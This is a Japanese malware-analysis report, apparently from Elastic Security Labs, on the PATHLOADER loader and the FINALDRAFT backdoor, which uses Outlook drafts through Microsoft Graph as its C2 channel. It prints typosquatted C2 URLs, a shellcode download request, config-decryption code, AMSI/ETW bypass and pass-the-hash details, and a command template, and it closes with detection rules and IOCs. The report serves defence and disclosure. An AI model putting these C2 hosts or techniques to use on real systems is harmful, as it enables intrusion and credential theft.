まとめ
REF7707を調査しているうちに、Elastic Security Labsは、Microsoft Graph APIを介してOutlookを通信チャネルとして活用する、これまで知られていなかった新しいマルウェアファミリーを発見しました。このポストエクスプロイトキットには、ローダー、バックドア、および高度なポストエクスプロイトアクティビティを可能にする複数のサブモジュールが含まれています。
私たちの分析では、マルウェアのLinux亜種と古いPE亜種が発見され、それぞれに複数の異なるバージョンがあり、これらのツールがしばらく前から開発されていたことを示唆しています。
ツールの完全性と関連するエンジニアリングのレベルは、開発者がよく組織化されていることを示唆しています。作戦の長期化とテレメトリーからの証拠は、それがスパイ活動指向のキャンペーンである可能性が高いことを示唆しています。
このレポートでは、これらのツールの特徴と機能について詳しく説明します。
REF7707のキャンペーン分析については、「 南アメリカから東南アジアへ:REF7707の脆弱な網」をご覧ください。
テクニカル分析
パスローダー
PATHLOADERは、外部インフラストラクチャから取得した暗号化されたシェルコードをダウンロードして実行するWindows PEファイルです。
私たちのチームは、PATHLOADERによって回収されたシェルコードを回収して解読し、公に報告されていない新しいインプラントを抽出しました。これはFINALDRAFTと呼ばれています。これら2つのコンポーネントは、機密性の高い環境に侵入するために一緒に使用されると考えています。
構成
PATHLOADER は、 206 キロバイトの軽量な Windows 実行可能ファイルです。このプログラムは、リモートサーバーでホストされているシェルコードをダウンロードして実行します。PATHLOADERには、C2およびその他の関連設定を含む .data
セクションに格納された組み込み設定が含まれています。
Base64 でデコードし、埋め込まれた 16 進数文字列から変換した後、セキュリティ ベンダーに似た 2 つの一意のタイポスクワッティング ドメインを使用して元の構成が復元されます。
https://poster.checkponit.com:443/nzoMeFYgvjyXK3P;https://support.fortineat.com:443/nzoMeFYgvjyXK3P;*|*
PATHLOADERからの設定
API ハッシュ化
静的解析の作業をブロックするために、PATHLOADERは Fowler–Noll–Voハッシュ 関数を使用してAPIハッシュを実行します。これは、バイナリ内で 37 回検出された0x1000193
の即時値に基づいて確認できます。API ハッシュ機能は、個別の関数ではなく、インラインとして表示されます。
文字列の難読化
PATHLOADER は、文字列暗号化を使用して、プログラムを静的にレビューするアナリストの機能を難読化します。実行中またはデバッガを使用している場合、文字列は簡単に解読できますが、難読化は行に現れるため、複雑さが増し、制御フローをたどるのが難しくなります。この難読化では、SIMD(Single Instruction, Multiple Data)命令とXMMレジスタを使用してデータを変換します。
マルウェア開発者が使用したログ WinHttpSendRequest
エラーコードに関連する1つの文字列は、暗号化されないままでした。
実行/動作
実行時に、PATHLOADERは GetTickCount64
メソッドと Sleep
メソッドの組み合わせを使用して、サンドボックス環境での即時実行を回避します。数分後、PATHLOADERは埋め込まれた設定を解析し、事前に設定された両方のC2ドメイン(poster.checkponit[.]com
、 support.fortineat[.]com
)を循環して、 HTTPS
GET
リクエストを通じてシェルコードをダウンロードしようとします。
GET http://poster.checkponit.com/nzoMeFYgvjyXK3P HTTP/1.1
Cache-Control: no-cache
Connection: Keep-Alive
Pragma: no-cache
Host: poster.checkponit.com
User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/40.0.2214.85 Safari/537.36
シェルコードはAESで暗号化され、Base64でエンコードされています。AES 復号化は、CryptImportKey
API の呼び出しで使用される 128 ビット キーとして“/nzoMeFYgvjyXK3P”
シェルコード ダウンロード URL パスを使用して実行されます。
CryptDecrypt
呼び出しの後、復号化されたシェルコードは以前に割り当てられたメモリにコピーされます。その後、メモリ ページは NtProtectVirtualMemory
API を使用して PAGE_EXECUTE_READ_WRITE
に設定されます。ページが適切な保護に設定されると、シェルコードのエントリポイントが呼び出され、次のステージであるFINALDRAFTがロードされて実行されます。
ファイナルドラフト
FINALDRAFTは、C++で記述された64ビットマルウェアで、データ流出とプロセスインジェクションに焦点を当てています。これには、マルウェアによって挿入される可能性のあるFINALDRAFTキットの一部として識別される追加のモジュールが含まれています。これらのモジュールからの出力は、C2 サーバーに転送されます。
エントリーポイント
FINALDRAFTは、エントリ機能として単一のエントリポイントをエクスポートします。この関数の名前はサンプルによって異なります。この例では、 UpdateTask
と呼ばれます。
初期化
マルウェアは、その設定をロードし、セッションIDを生成することによって初期化されます。
設定の読み込みプロセス
構成は、暗号化された BLOB のバイナリにハードコーディングされています。これは、次のアルゴリズムを使用して復号化されます。
for ( i = 0; i < 0x149A; ++i )
configuration[i] ^= decryption_key[i & 7];
設定データの復号化アルゴリズム
復号化キーは、Windows 製品 ID (HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\ProductId
) または暗号化された BLOB の後にある文字列から派生します。これは、暗号化された構成 BLOB の後にあるグローバル フラグによって決定されます。
復号化キー導出アルゴリズムは、次のように実行されます。
uint64_t decryption_key = 0;
do
decryption_key = *data_source++ + 31 * decryption_key;
while ( data_source != &data_source[data_source_length] );
復号化キー導出アルゴリズム
構成構造は、次のように説明されています。
struct Configuration // sizeof=0x149a
{
char c2_hosts_or_refresh_token[5000];
char pastebin_url[200];
char guid[36];
uint8_t unknown_0[4];
uint16_t build_id;
uint32_t sleep_value;
uint8_t communication_method;
uint8_t aes_encryption_key[16];
bool get_external_ip_address;
uint8_t unknown_1[10]
};
構成構造
設定はバリアントやバージョン間で一貫していますが、すべてのフィールドが使用されるわけではありません。たとえば、この公開時点では、communication method フィールドはメイン バリアントでは使用されておらず、MSGraph/Outlook メソッドのみが使用されていました。ただし、これはELFバリアントまたは以前のバージョンのFINALDRAFTには当てはまりません。
この構成には、どのバリアントでも使用されていない Pastebin URL も含まれています。ただし、この URL は、最初のサンプルからピボットするのに非常に役立ちました。
セッション ID の導出プロセス
FINALDRAFTとC2間の通信に使用されるセッションIDは、ランダムなGUIDを作成することで生成され、 Fowler-Noll-Vo (FNV)ハッシュ関数を使用して処理されます。
通信プロトコル
分析中に、構成からさまざまな通信方法を使用できることがわかりました。ただし、現時点で最も新しいサンプルでは、Microsoft Graph API を介して Outlook メール サービスを悪用する COutlookTrans
クラスのみを使用しています。これと同じ手法は、 2023 年2月にElastic Security Labsによって報告され、中国関連の脅威グループに起因する未知のマルウェアファミリーであるSIESTAGRAPHでも観察されました。
Microsoft Graph API トークンは、FINALDRAFT によって https://login.microsoftonline.com/common/oauth2/tokenエンドポイント。このエンドポイントに使用される更新トークンは、構成内にあります。
更新されると、Microsoft Graph API トークンは、ユーザーが管理者特権を持っているかどうかに基づいて、次のレジストリ パスに格納されます。
HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\UUID\<uuid_from_configuration>
HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\UUID\<uuid_from_configuration>
このトークンは、まだ有効な場合は、要求間で再利用されます。
通信ループは次のように説明されます。
- セッションEメールの下書きがまだ存在しない場合は作成します。
- C2によって作成されたコマンド要求メールの下書きの読み取りと削除。
- プロセス・コマンド
- 処理された各コマンドの下書きとしてコマンド応答メールを作成します。
サブジェクト p_<session-id>
で識別されるコマンド応答電子メールの形式のセッション電子メールが既に存在するかどうかを判別するために、チェックが実行されます。そうでない場合は、メールの下書きに作成されます。このメールの内容はbase64でエンコードされていますが、AESは暗号化されていません。
セッションデータは、以下の構成で説明します。
struct Session
{
char random_bytes[30];
uint32_t total_size;
char field_22;
uint64_t session_id;
uint64_t build_number;
char field_33;
};
セッション・データ構造
コマンドキューは、メールドラフトの最後の5つのC2コマンドリクエストメール(件名が r_<session-id>
)をチェックすることで満たされます。
リクエストを読み取った後、メールは削除されます。
その後、コマンドが処理され、応答は新しい下書きメールに書き込まれ、各コマンド応答に対して同じ p_<session-id>
件名が付けられます。
メッセージのリクエストとレスポンスのコンテンツは、 Zlib 圧縮、 AES CBC 暗号化、Base64 エンコードされています。暗号化と復号化に使用される AES キーは、構成 BLOB にあります。
Base64(AESEncrypt(ZlibCompress(data)))
C2からインプラントに送信されるリクエストメッセージは、この構造に従います。
struct C2Message{
struct {
uint8_t random_bytes[0x1E];
uint32_t message_size;
uint64_t session_id;
} header; // Size: 0x2A (42 bytes)
struct {
uint32_t command_size;
uint32_t next_command_struct_offset;
uint8_t command_id;
uint8_t unknown[8];
uint8_t command_args[];
} commands[];
};
要求メッセージの構造
インプラントからC2に送信される応答メッセージは、この構造に従います。
struct ImplantMessage {
struct Header {
uint8_t random_bytes[0x1E];
uint32_t total_size;
uint8_t flag; // Set to 1
uint64_t session_id;
uint16_t build_id;
uint8_t pad[6];
} header;
struct Message {
uint32_t actual_data_size_add_0xf;
uint8_t command_id;
uint8_t unknown[8];
uint8_t flag_success;
char newline[0x2];
uint8_t actual_data[];
}
};
応答メッセージの構造
インプラントによって盗まれたデータの例を次に示します。
コマンド
FinalDraftは 37 コマンドハンドラを登録し、ほとんどの機能はプロセスインジェクション、ファイル操作、およびネットワークプロキシ機能を中心に展開しています。
以下は、コマンドとその ID の表です。
ID | 名前 |
---|---|
0 | コンピュータ情報の収集 |
2 | StartTcpServerProxyToC2 |
3 | StopTcpServerProxyToC2 |
4 | ConnectToTcpTargetStartProxyToC2 |
5 | SetSleepValue (スリープ値) |
6 | DeleteNetworkProjectorFwRuleAndStopTCPServer |
8 | ConnectToTcpTarget |
9 | SendDataToUdpOrTcpTarget |
10 | CloseTcpConnection |
11 | DoProcessInjectionSendOutputEx |
12 | リストファイル |
13 | ListAvailableドライブ |
14 | CreateDirectory(ディレクトリを作成) |
15 | DeleteFileOrDirectory |
16 | ダウンロードファイル |
17 | UploadFile0 |
18 | ダミー関数 |
19 | SetCurrentDirectory |
20 | GetCurrentDirectory |
21 | リスト実行プロセス |
24 | DoProcessInjectionNoOutput |
25 | DoProcessInjectionNoOutput (24 と同じ) |
26 | DoProcessInjectionSendOutput1 |
28 | DisconnectFromNamedPipe |
30 | ConnectToNamedPipeAndProxyMessageToC2 |
31 | GetCurrentProcessTokenInformation |
32 | EnumerateActiveSessions |
33 | ListActiveTcpUdpConnections |
35 | MoveFile1 |
36 | GetOrSetFileTime |
39 | UploadFile1 |
41 | MoveFile0 |
42 | CopyFileOrCopyDirectory |
43 | プロセスの終了 |
44 | CreateProcess (プロセスの作成) |
FINALDRAFT コマンド・ハンドラー・テーブル
コンピュータ情報を収集する
GatherComputerInformation
コマンドを実行すると、被害者のマシンに関する情報が収集され、FINALDRAFTによって送信されます。この情報には、コンピューター名、アカウントのユーザー名、内部および外部の IP アドレス、実行中のプロセスの詳細が含まれます。
この構造については、次のように説明します。
struct ComputerInformation
{
char field_0;
uint64_t session_id;
char field_9[9];
char username[50];
char computer_name[50];
char field_76[16];
char external_ip_address[20];
char internal_ip_address[20];
uint32_t sleep_value;
char field_B2;
uint32_t os_major_version;
uint32_t os_minor_version;
bool product_type;
uint32_t os_build_number;
uint16_t os_service_pack_major;
char field_C2[85];
char field_117;
char current_module_name[50];
uint32_t current_process_id;
};
収集される情報の構造
外部 IP アドレスは、設定で有効になっている場合に収集されます。
このアドレスは、FINALDRAFTが次の公開サービスのリストを使用して取得します。
公共サービス |
---|
hxxps://ip-api.io/json |
hxxps://ipinfo.io/json |
hxxps://myexternalip.com/raw |
hxxps://ipapi.co/json/ |
hxxps://jsonip.com/ |
IPルックアップサービス一覧
プロセスインジェクション
FINALDRAFTには、実行中のプロセスに注入したり、挿入する非表示のプロセスを作成したりできる複数のプロセスインジェクション関連のコマンドがあります。
プロセスが作成される場合、ターゲット プロセスは、コマンドのパラメーターとして提供される実行可能パスであるか、フォールバックとして既定で mspaint.exe
または conhost.exe
になります。
コマンドとそのパラメータに応じて、標準出力ハンドルをパイプで接続した状態でプロセスをオプションで作成できます。この場合、プロセスが挿入されると、FINALDRAFT はパイプの出力から読み取り、その内容をコマンド応答と共に送信します。
別のオプションとして、プロセスの標準ハンドルをパイプ処理する代わりに、FINALDRAFT はプロセスを作成して挿入した後、ペイロードが Windows 名前付きパイプを作成するのを待機します。次に、パイプに接続し、パイプに情報を書き込み、その出力を読み取り、別のチャネルを介してデータをC2に送信します。(Outlook トランスポート チャネルの場合、これには追加の下書きメールの作成が含まれます)。
プロセスインジェクション手順は基本的で、 VirtualAllocEx
、 WriteProcessMemory
、および RtlCreateUserThread
API に基づいています。
TCP、UDP、および名前付きパイプからのデータの転送
FINALDRAFTは、UDPリスナーやTCPリスナー、名前付きパイプクライアントなど、データをC2にプロキシするさまざまな方法を提供します。
UDP データと TCP データのプロキシには、プロトコルに基づいて異なる方法で受信通信を処理する必要があります。UDP の場合、メッセージは送信者から直接受信されますが、TCP の場合、クライアント接続はデータを受信する前に受け入れられます。どちらの場合も、データはソケットから読み取られ、トランスポートチャネルに転送されます。
以下は、UDPリスナーからの recvfrom
呼び出しのスクリーンショットの例です。
TCP リスナー サーバーを起動する前に、FINALDRAFT は Windows ファイアウォールにルールを追加します。このルールは、サーバーがシャットダウンすると削除されます。これらのルールを追加/削除するために、マルウェアは COM と INetFwPolicy2 および INetFwRule インターフェイスを使用します。
FINALDRAFTは、ターゲットへのTCP接続を確立することもできます。この場合、マジック値 ( “\x12\x34\xab\xcd\ff\xff\xcd\xab\x34\x12”
) を送信し、サーバーが受信したデータの転送を開始する前に同じマジック値をエコーバックすることを期待します。
名前付きパイプの場合、FINALDRAFT[ファイナルドラフト]コマンドは既存のパイプにのみ接続します。パイプ名は、コマンドのパラメーターとして指定する必要があり、その後、データを読み取り、別のチャネルを介して転送します。
ファイル操作
ファイル削除機能については、FINALDRAFTはファイルデータを削除する前にゼロで上書きすることにより、ファイルの回復を防ぎます。
FINALDRAFT は、ファイルのコピーにデフォルトで CopyFileW
を使用します。ただし、失敗した場合は、NTFS クラスター レベルでファイルのコピーを試みます。
最初に、ソースファイルをドライブハンドルとして開きます。ファイルが存在するボリュームのクラスタサイズを取得するには、 GetDiskFreeSpaceW
を使用して、クラスタあたりのセクタ数とセクタあたりのバイト数に関する情報を取得します。次に、DeviceIoControl
を FSCTL_GET_RETRIEVAL_POINTERS
とともに呼び出して、エクステントの詳細 (指定したファイルのデータを格納しているディスク上の場所と、クラスタ サイズの観点からそこに格納されているデータの量) を取得します。
エクステントごとに、 SetFilePointer
を使用して、ソース ファイル ポインターをボリューム内の対応するオフセットに移動します。ソース ファイルから宛先ファイルへの 1 つのデータ クラスターの読み取りと書き込み。
ファイルにクラスター マッピングが関連付けられていない場合、そのファイルは常駐ファイルであり、データは MFT 自体に格納されます。ファイルの MFT インデックスを使用して、生の MFT レコードを取得します。次に、レコードが解析されて、 $DATA
属性 (タイプ ID = 128) が検索されます。次に、この属性からデータが抽出され、 WriteFile
を使用して宛先ファイルに書き込まれます。
注入されたモジュール
私たちのチームは、 DoProcessInjectionSendOutputEx
コマンドハンドラを介してロードされたいくつかの追加モジュールがプロセスインジェクションを実行し、名前付きパイプを介して出力を書き戻すことを確認しました。FINALDRAFTによって注入されたこのシェルコードは、よく知られた sRDI プロジェクトを活用し、同じプロセス内で本格的なPE DLLをメモリにロードし、そのインポートを解決し、エクスポートエントリポイントを呼び出すことを可能にします。
ネットワーク列挙 (ipconfig.x64.dll
)
このモジュールは、FINALDRAFT が接続するのを待って名前付きパイプ (\\.\Pipe\E340C955-15B6-4ec9-9522-1F526E6FBBF1
) を作成します。おそらく、分析/サンドボックス化を防ぐために、脅威アクターはパスワード(Aslire597
)を引数として使用し、パスワードが正しくない場合、モジュールは実行されません。
その名前が示すように、このモジュールは、Windows API (GetAdaptersAddresses
、 GetAdaptersInfo
、 GetNetworkParams
) を使用してネットワーク情報を取得し、 Windows レジストリのキーパス (SYSTEM\\CurrentControlSet\\Services\\Tcpip\\Parameters\\Interfaces
を読み取る ipconfig コマンドのカスタム実装です。データが取得された後、名前付きパイプを介して FINALDRAFT に戻されます。
PowerShell の実行 (Psloader.x64.dll
)
このモジュールを使用すると、オペレーターは powershell.exe
バイナリを呼び出さずに PowerShell コマンドを実行できます。使用されているコードは、有名なオープンソースの攻撃的セキュリティツールである PowerPickから取得されています。
検出を回避するために、モジュールは最初に EtwEventWrite
、 ReportEventW
、および AmsiScanBuffer
API をフックし、ETW ログを無効にしてマルウェア対策スキャンをバイパスする 0
を常に返すように強制します。
次に、DLL は .data
CLR ホスティング手法 を使用して、 セクションに格納されている .NET ペイロード ( PowerPick) を読み込みます。
このモジュールは、コマンドの転送と出力の取得に使用される名前付きパイプ (\\.\Pipe\BD5AE956-0CF5-44b5-8061-208F5D0DBBB2
) を作成します。メインスレッドはレシーバーとして指定され、パイプにデータを書き込むためにセカンダリスレッドが作成されます。最後に、管理された PowerPick バイナリがモジュールによってロードされ、実行されます。
Pass-the-Hash ツールキット (pnt.x64.dll
)
このモジュールは、盗まれた NTLM ハッシュを使用して新しいプロセスを開始するために使用されるカスタム Pass-the-Hash (PTH) ツールキットです。このPTHの実装は、 Mimikatzが使用したものに大きく触発されており、横方向の移動を可能にします。
このモジュールには、パスワード (Aslire597
)、ドメイン、NTLM ハッシュを含むユーザー名、および昇格するプログラムのファイルパスが必要です。このサンプルでは、このコマンドラインはsRDIシェルコードによってロードされます。以下はコマンドラインの例です。
program.exe <password> <domain>\<account>:<ntlm_hash> <target_process>
他のモジュールと同様に、名前付きパイプ「\\.\Pipe\EAA0BF8D-CA6C-45eb-9751-6269C70813C9
」を作成し、FINALDRAFTからの着信接続を待ちます。この名前付きパイプは、ログ チャネルとして機能します。
パイプ接続を確立した後、マルウェアは CreateProcessWithLogonW
を使用して一時停止状態でターゲットプロセスを作成します。ローカルセキュリティ権限サブシステムサービス(LSASS)プロセス内の LogonSessionList
や LogonSessionListCount
などの主要な構造を特定し、指定された引数で指定されたログオンセッションをターゲットにします。
正しいセッションが一致すると、LSASS 内の現在の資格情報構造は、現在のユーザーの NTLM ハッシュではなく、指定された NTLM ハッシュで上書きされ、最後にプロセス スレッドが再開されます。この手法については、Praetrian のブログ記事「Inside the Mimikatz Pass-the-Hash Command (Part 2)」で詳しく説明されています。その後、結果は名前付きパイプに送信されます。
FINALDRAFT ELFバリアント
この調査中に、FINALDRAFTのELFバリアントを発見しました。このバージョンは、PE バージョンよりも多くのトランスポート プロトコルをサポートしていますが、機能が少ないため、開発中である可能性が示唆されています。
追加の輸送チャネル
FINALDRAFTのELFバリアントは、C2トランスポートチャネル用に7つの追加プロトコルをサポートしています。
C2通信プロトコル |
---|
HTTP/HTTPS |
リバースUDP |
ICMPの |
バインド TCP |
リバースTCP |
DNS |
REST API 経由の Outlook(API プロキシと通信している可能性があります) |
Graph API 経由の Outlook |
FINALDRAFT ELFバリアントC2通信オプション
発見されたELFサンプルから、HTTPおよびOutlook via Graph APIチャネルを使用するように構成されたインプラントを特定しました。
コード構造は最新のPEサンプルと似ていますが、この公開時点では、インプラントの機能の一部がLinux環境に準拠するように変更されています。たとえば、要求された新しい Microsoft OAuth 更新トークンは、ディスク上のファイルに書き込まれます ( /var/log/installlog.log.<UUID_from_config>
または /mnt/hgfsdisk.log.<UUID_from_config>
で、前のファイルへの書き込みに失敗した場合は 1 つ)。
以下は、HTTPチャネルを使用する設定のスニペットです。Microsoft 更新トークンの代わりに 2 つの C2 サーバーが使用されており、オフセット 0xc8
ID のポート番号 0x1bb
(443
) とオフセット 0xfc
の HTTPS を使用するためのフラグが使用されていることがわかります。
ドメインは、「VMSphere」(VMware vSphere)などの有名なベンダーをタイポスクワットするように意図的に設計されています。しかし、この事例で「Hobiter」がどのベンダーになりすまそうとしているのかは不明です。
C2 |
---|
support.vmphere.com |
update.hobiter.com |
ドメイン一覧
コマンド
すべてのコマンドは Windows の対応するコマンドと重複していますが、提供されるオプションは少なくなります。被害者のマシンに関する情報を収集するための専用の 2 つの C2 コマンドがあります。これらのコマンドを組み合わせることで、次の詳細が収集されます。
- ホスト名
- 現在ログインしているユーザー
- イントラネットの IP アドレス
- 外部IPアドレス
- ゲートウェイ IP アドレス
- システムの起動時間
- オペレーティング システムの名前とバージョン
- カーネルバージョン
- システムアーキテクチャ
- マシン GUID
- アクティブなネットワーク接続のリスト
- 実行中のプロセスのリスト
- 現在のプロセスの名前
コマンドの実行
プロセスインジェクション機能はありませんが、インプラントはシェルコマンドを直接実行できます。コマンドの実行に popen
を利用し、標準出力とエラーの両方をキャプチャし、結果をC2インフラストラクチャに送り返します。
自己削除
現在実行中の実行可能ファイルのパスを動的に解決するために、実行可能ファイルイメージを指すシンボリックリンクが sys_readlink
に渡されます。次に、sys_unlink
が呼び出され、実行可能ファイルがファイルシステムから削除されます。
古い FINALDRAFT PE サンプル
調査中に、古いバージョンのFINALDRAFTが特定されました。このバージョンでは、サポートするコマンドの数が半分になりますが、MS Graph API/Outlook トランスポート チャネルに加えて、追加のトランスポート プロトコルが含まれています。
バイナリの名前は Session.x64.dll
で、そのエントリポイントのエクスポートは GoogleProxy
と呼ばれます。
HTTP トランスポート・チャネル
この古いバージョンの FINALDRAFT は、構成に基づいて Outlook または HTTP トランスポート チャネルを選択します。
このサンプルでは、メイン サンプルにある更新トークンの代わりに、構成にホストの一覧が含まれています。これらの同じドメインはPATHLOADERで使用されており、ドメイン(checkponit[.]com
)は2022-08-26T09:43:16Zに登録され、ドメイン(fortineat[.]com
)は2023-11-08T09:47:47Zに登録されました。
ドメインは、実際には既知のベンダーである CheckPoint と Fortinet(この場合)を意図的にタイポスクワットします。
C2 |
---|
poster.checkponit[.]com |
support.fortineat[.]com |
ドメイン一覧
シェルコマンド
このサンプルには、後のバージョンには存在しない追加のコマンドが存在します。このコマンドは、ID が 1
で、シェル・コマンドを実行します。
実行は、"/c"
パラメーターを使用して cmd.exe
プロセスを作成し、その後に実際のコマンドをパラメーターに追加することで実行されます。
検知
Elastic Defendは、2つのルールを通じてプロセスインジェクションメカニズムを検出します。最初のルールは、プロセスインジェクション手法で観察される一般的な動作である、別のプロセスを対象とする WriteProcessMemory
API 呼び出しを検出します。
2 番目のルールは、シェルコードを実行するためのリモートスレッドの作成を検出します。
また、既知のターゲットmspaint.exe
に挿入されるPsloader.x64.dll
モジュールによるPowerShellエンジンの読み込みも検出します。
マルウェアと MITRE ATT&CK
Elasticは、 MITRE ATT&CK フレームワークを使用して、脅威がエンタープライズネットワークに対して使用する一般的な戦術、手法、手順を文書化します。
戦術(Tactics)
手法
手法は、敵対者がアクションを実行することによって戦術的な目標を達成する方法を表します。
- Webサービス:一方向通信
- 暗号化チャネル:対称暗号化
- アーティファクトを隠す:隠しウィンドウ
- マスカレード: 正当な名前または場所を一致させる
- マスカレード:システムユーティリティの名前を変更する
- プロセスインジェクション:ポータブル実行可能ファイルインジェクション
- リフレクティブコードのロード
- 代替認証マテリアルの使用: ハッシュを渡す
- ネットワークサービスディスカバリー
- プロセスディスカバリー
- クエリレジストリ
- Webサービスを介した流出
対策
検知
- 不審なメモリがリモートプロセスに書き込まれました
- 通常とは異なるPowerShell エンジンのImageLoad
- アンバッキング メモリ経由の AMSI バイパス
- AMSI or WLDP Bypass via Memory Patching
- Windows サービスによる疑わしい実行
- Windowsコマンドラインデバッグユーティリティによる実行
- 不審な親子関係
ヤラ
Elasticセキュリティは、この記事に関連する以下のYARAルールを作成しました。
観測
この研究では、次の観測量が議論されました。
すぐれた監視性 | タイプ | 参考 | 日時 |
---|---|---|---|
9a11d6fcf76583f7f70ff55297fb550fed774b61f35ee2edd95cf6f959853bcf | SHA256 | パスローダー | VT初公開日: 2023-05-09 09:44:45 UTC |
39e85de1b1121dc38a33eca97c41dbd9210124162c6d669d28480c833e059530 | SHA256 | FINALDRAFT初期サンプル | テレメトリの初公開: 2024-11-28 20:49:18.646 |
83406905710e52f6af35b4b3c27549a12c28a628c492429d3a411fdb2d28cc8c | SHA256 | FINALDRAFT ELFバリアント | VT初公開日: 2024-10-05 07:15:00 UTC |
poster.checkponit[.]com | ドメイン | PATHLOADER/FINALDRAFTドメイン | 作成日:2022-08-26T09:43:16Z 有効期限 : 2025-08-26T07:00:00Z |
support.fortineat[.]com | ドメイン | PATHLOADER/FINALDRAFTドメイン | 作成日: 2023-11-08T09:47:47Z 有効期限: 2024-11-08T09:47:47.00Z |
support.vmphere[.]com | ドメイン | FINALDRAFTドメイン | 作成日: 2023-09-12T12:35:57Z 有効期限: 2025-09-12T12:35:57Z |
update.hobiter[.]com | ドメイン | FINALDRAFTドメイン | 作成日: 2023-09-12T12:35:58Z 有効期限: 2025-09-12T12:35:58Z |